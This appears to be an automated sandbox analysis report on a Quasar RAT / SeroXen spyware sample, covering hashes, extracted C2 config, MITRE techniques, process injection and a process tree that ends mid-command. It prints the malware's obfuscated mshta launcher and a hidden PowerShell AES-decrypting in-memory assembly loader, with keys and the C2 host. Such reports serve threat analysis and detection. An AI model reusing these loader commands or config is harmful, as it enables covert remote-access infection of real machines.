quasar | 2a6a28e5ec050a9039d62bf2cd0075df7324ebb9e3c9130ca417c8381796445e

Analysis

max time kernel
600s
max time network
596s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
02/06/2024, 15:18

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General

Target
darkmoon v2/lib/AyBYMBjlvU.bat
Size 12.6MB
Sample240602-spp86agd23
SHA256 9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
MD5 8e3d8ed6db7cb979d5d56c8b847cc965
SHA1 5d1ad752a988ce13da601448cdca5584610cffee
SHA512 d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
SSDEEP 49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar v2.2.6 | seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | SeroXen

seroooooxeen.chickenkiller.com:5059

Mutex

f953c0af-702a-46b5-ad07-d900b11c5cd9

Attributes

encryption_key
458790DC6E62EEB3043B4566BF95CDAF711F1EC0
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2324-60-0x000001BBF47F0000-0x000001BBF4FBA000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4528 created 1140	4528	WerFault.exe	117

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1300 created 616	1300	AyBYMBjlvU.bat.exe	5
PID 2324 created 616	2324	$sxr-powershell.exe	5
PID 2324 created 616	2324	$sxr-powershell.exe	5
PID 1300 created 616	1300	AyBYMBjlvU.bat.exe	5
PID 2324 created 616	2324	$sxr-powershell.exe	5
PID 2324 created 616	2324	$sxr-powershell.exe	5
PID 2324 created 616	2324	$sxr-powershell.exe	5
PID 2324 created 616	2324	$sxr-powershell.exe	5
PID 5820 created 1140	5820	svchost.exe	117
PID 2324 created 616	2324	$sxr-powershell.exe	5

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	AyBYMBjlvU.bat.exe

Executes dropped EXE 5 IoCs

pid	Process
1300	AyBYMBjlvU.bat.exe
1796	$sxr-mshta.exe
2944	$sxr-cmd.exe
2324	$sxr-powershell.exe
4104	$sxr-powershell.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

Suspicious use of SetThreadContext 18 IoCs

description	pid	Process	procid_target
PID 1300 set thread context of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 set thread context of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 2324 set thread context of 2316	2324	$sxr-powershell.exe	100
PID 2324 set thread context of 4880	2324	$sxr-powershell.exe	101
PID 2324 set thread context of 1056	2324	$sxr-powershell.exe	103
PID 2324 set thread context of 1624	2324	$sxr-powershell.exe	104
PID 1300 set thread context of 3796	1300	AyBYMBjlvU.bat.exe	106
PID 1300 set thread context of 1596	1300	AyBYMBjlvU.bat.exe	107
PID 2324 set thread context of 3892	2324	$sxr-powershell.exe	108
PID 2324 set thread context of 2092	2324	$sxr-powershell.exe	109
PID 2324 set thread context of 4100	2324	$sxr-powershell.exe	110
PID 2324 set thread context of 2228	2324	$sxr-powershell.exe	113
PID 2324 set thread context of 4324	2324	$sxr-powershell.exe	114
PID 2324 set thread context of 5028	2324	$sxr-powershell.exe	115
PID 2324 set thread context of 5764	2324	$sxr-powershell.exe	116
PID 2324 set thread context of 1140	2324	$sxr-powershell.exe	117
PID 2324 set thread context of 6128	2324	$sxr-powershell.exe	121
PID 2324 set thread context of 3384	2324	$sxr-powershell.exe	122

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-mshta.exe	AyBYMBjlvU.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	AyBYMBjlvU.bat.exe
File created	C:\Windows\$sxr-cmd.exe	AyBYMBjlvU.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	AyBYMBjlvU.bat.exe
File created	C:\Windows\$sxr-powershell.exe	AyBYMBjlvU.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	AyBYMBjlvU.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1712	1140	WerFault.exe	117

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2508	taskkill.exe

Modifies data under HKEY_USERS 17 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717342148"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={87747806-79BC-4BD0-BFF7-671EF04662E1}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 02 Jun 2024 15:29:09 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3500	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1300	AyBYMBjlvU.bat.exe
1300	AyBYMBjlvU.bat.exe
1300	AyBYMBjlvU.bat.exe
2936	dllhost.exe
2936	dllhost.exe
3144	dllhost.exe
3144	dllhost.exe
3144	dllhost.exe
3144	dllhost.exe
2936	dllhost.exe
2936	dllhost.exe
1300	AyBYMBjlvU.bat.exe
1300	AyBYMBjlvU.bat.exe
2324	$sxr-powershell.exe
2324	$sxr-powershell.exe
2324	$sxr-powershell.exe
2324	$sxr-powershell.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
4880	dllhost.exe
4880	dllhost.exe
4880	dllhost.exe
4880	dllhost.exe
2324	$sxr-powershell.exe
2324	$sxr-powershell.exe
4104	$sxr-powershell.exe
2324	$sxr-powershell.exe
1056	dllhost.exe
1056	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
4104	$sxr-powershell.exe
4104	$sxr-powershell.exe
1624	dllhost.exe
1624	dllhost.exe
4104	$sxr-powershell.exe
4104	$sxr-powershell.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe
1056	dllhost.exe
1056	dllhost.exe
1624	dllhost.exe
1624	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1300	AyBYMBjlvU.bat.exe
Token: SeDebugPrivilege	1300	AyBYMBjlvU.bat.exe
Token: SeDebugPrivilege	2936	dllhost.exe
Token: SeDebugPrivilege	3144	dllhost.exe
Token: SeDebugPrivilege	2324	$sxr-powershell.exe
Token: SeDebugPrivilege	2324	$sxr-powershell.exe
Token: SeDebugPrivilege	2316	dllhost.exe
Token: SeDebugPrivilege	4880	dllhost.exe
Token: SeDebugPrivilege	4104	$sxr-powershell.exe
Token: SeDebugPrivilege	2324	$sxr-powershell.exe
Token: SeDebugPrivilege	1056	dllhost.exe
Token: SeDebugPrivilege	1624	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2164	svchost.exe
Token: SeIncreaseQuotaPrivilege	2164	svchost.exe
Token: SeSecurityPrivilege	2164	svchost.exe
Token: SeTakeOwnershipPrivilege	2164	svchost.exe
Token: SeLoadDriverPrivilege	2164	svchost.exe
Token: SeSystemtimePrivilege	2164	svchost.exe
Token: SeBackupPrivilege	2164	svchost.exe
Token: SeRestorePrivilege	2164	svchost.exe
Token: SeShutdownPrivilege	2164	svchost.exe
Token: SeSystemEnvironmentPrivilege	2164	svchost.exe
Token: SeUndockPrivilege	2164	svchost.exe
Token: SeManageVolumePrivilege	2164	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2164	svchost.exe
Token: SeIncreaseQuotaPrivilege	2164	svchost.exe
Token: SeSecurityPrivilege	2164	svchost.exe
Token: SeTakeOwnershipPrivilege	2164	svchost.exe
Token: SeLoadDriverPrivilege	2164	svchost.exe
Token: SeSystemtimePrivilege	2164	svchost.exe
Token: SeBackupPrivilege	2164	svchost.exe
Token: SeRestorePrivilege	2164	svchost.exe
Token: SeShutdownPrivilege	2164	svchost.exe
Token: SeSystemEnvironmentPrivilege	2164	svchost.exe
Token: SeUndockPrivilege	2164	svchost.exe
Token: SeManageVolumePrivilege	2164	svchost.exe
Token: SeAuditPrivilege	2752	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2164	svchost.exe
Token: SeIncreaseQuotaPrivilege	2164	svchost.exe
Token: SeSecurityPrivilege	2164	svchost.exe
Token: SeTakeOwnershipPrivilege	2164	svchost.exe
Token: SeLoadDriverPrivilege	2164	svchost.exe
Token: SeSystemtimePrivilege	2164	svchost.exe
Token: SeBackupPrivilege	2164	svchost.exe
Token: SeRestorePrivilege	2164	svchost.exe
Token: SeShutdownPrivilege	2164	svchost.exe
Token: SeSystemEnvironmentPrivilege	2164	svchost.exe
Token: SeUndockPrivilege	2164	svchost.exe
Token: SeManageVolumePrivilege	2164	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2164	svchost.exe
Token: SeIncreaseQuotaPrivilege	2164	svchost.exe
Token: SeSecurityPrivilege	2164	svchost.exe
Token: SeTakeOwnershipPrivilege	2164	svchost.exe
Token: SeLoadDriverPrivilege	2164	svchost.exe
Token: SeSystemtimePrivilege	2164	svchost.exe
Token: SeBackupPrivilege	2164	svchost.exe
Token: SeRestorePrivilege	2164	svchost.exe
Token: SeShutdownPrivilege	2164	svchost.exe
Token: SeSystemEnvironmentPrivilege	2164	svchost.exe
Token: SeUndockPrivilege	2164	svchost.exe
Token: SeManageVolumePrivilege	2164	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2164	svchost.exe
Token: SeIncreaseQuotaPrivilege	2164	svchost.exe
Token: SeSecurityPrivilege	2164	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2324	$sxr-powershell.exe
4156	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3436	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 244 wrote to memory of 1300	244	cmd.exe	90
PID 244 wrote to memory of 1300	244	cmd.exe	90
PID 1300 wrote to memory of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 wrote to memory of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 wrote to memory of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 wrote to memory of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 wrote to memory of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 wrote to memory of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 wrote to memory of 2936	1300	AyBYMBjlvU.bat.exe	94
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1300 wrote to memory of 3144	1300	AyBYMBjlvU.bat.exe	95
PID 1796 wrote to memory of 2944	1796	$sxr-mshta.exe	97
PID 1796 wrote to memory of 2944	1796	$sxr-mshta.exe	97
PID 2944 wrote to memory of 2324	2944	$sxr-cmd.exe	99
PID 2944 wrote to memory of 2324	2944	$sxr-cmd.exe	99
PID 2324 wrote to memory of 2316	2324	$sxr-powershell.exe	100
PID 2324 wrote to memory of 2316	2324	$sxr-powershell.exe	100
PID 2324 wrote to memory of 2316	2324	$sxr-powershell.exe	100
PID 2324 wrote to memory of 2316	2324	$sxr-powershell.exe	100
PID 2324 wrote to memory of 2316	2324	$sxr-powershell.exe	100
PID 2324 wrote to memory of 2316	2324	$sxr-powershell.exe	100
PID 2324 wrote to memory of 2316	2324	$sxr-powershell.exe	100
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4880	2324	$sxr-powershell.exe	101
PID 2324 wrote to memory of 4104	2324	$sxr-powershell.exe	102
PID 2324 wrote to memory of 4104	2324	$sxr-powershell.exe	102
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1056	2324	$sxr-powershell.exe	103
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 2324 wrote to memory of 1624	2324	$sxr-powershell.exe	104
PID 1056 wrote to memory of 616	1056	dllhost.exe	5
PID 1056 wrote to memory of 676	1056	dllhost.exe	7
PID 1056 wrote to memory of 976	1056	dllhost.exe	12
PID 1056 wrote to memory of 384	1056	dllhost.exe	13
PID 1056 wrote to memory of 728	1056	dllhost.exe	14

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6120	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:384
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{678bc83f-82eb-48bd-9ffb-a8c4d8969b96}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2936
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{4549b0cf-a1ad-4055-bfb4-e39bbf7268cb}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2dc841c6-6185-4106-a421-eaf0132f096e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1056
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a6926db2-b01c-4aec-bd04-944e768784d8}
  2⤵
  PID:3796
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{7e6a2b68-3156-4ba7-88a5-c2cdddd4a955}
  2⤵
  PID:3892
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e4ad78c5-aa46-42d4-b6e6-294c2c67e682}
  2⤵
  PID:4100
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{598dd224-0406-4d92-994d-408082c2a3f2}
  2⤵
  PID:4324
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ca45c2ff-0dc2-4c97-8554-20cd63dfc541}
  2⤵
  PID:5764
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{070a70e0-4b6a-4b30-b8d3-912a86225091}
  2⤵
  PID:6128

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1232
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3044
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-fIvAWqRzQvWuAstOtyuG4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2944
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5092
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function cZwGr($wJEcK){ $AFKcp=[System.Security.Cryptography.Aes]::Create(); $AFKcp.Mode=[System.Security.Cryptography.CipherMode]::CBC; $AFKcp.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $AFKcp.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw='); $AFKcp.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('U+YH3s5ugGzDC7KmLj1l/A=='); $Czfqh=$AFKcp.('rotpyrceDetaerC'[-1..-15] -join '')(); $jNjPg=$Czfqh.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wJEcK, 0, $wJEcK.Length); $Czfqh.Dispose(); $AFKcp.Dispose(); $jNjPg;}function nyZgh($wJEcK){ $zAUTt=New-Object System.IO.MemoryStream(,$wJEcK); $GiIcD=New-Object System.IO.MemoryStream; $IbKVT=New-Object System.IO.Compression.GZipStream($zAUTt, [IO.Compression.CompressionMode]::Decompress); $IbKVT.CopyTo($GiIcD); $IbKVT.Dispose(); $zAUTt.Dispose(); $GiIcD.Dispose(); $GiIcD.ToArray();}function JitsM($wJEcK,$KvmVX){ $hfTYl=[System.Reflection.Assembly]::Load([byte[]]$wJEcK); $vpjLB=$hfTYl.EntryPoint; $vpjLB.Invoke($null, $KvmVX);}$AFKcp1 = New-Object System.Security.Cryptography.AesManaged;$AFKcp1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AFKcp1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$AFKcp1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7nINuvUxCngtiDkTmFd6bpYzxvDppzo+LtAuTzEtPzw=');$AFKcp1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 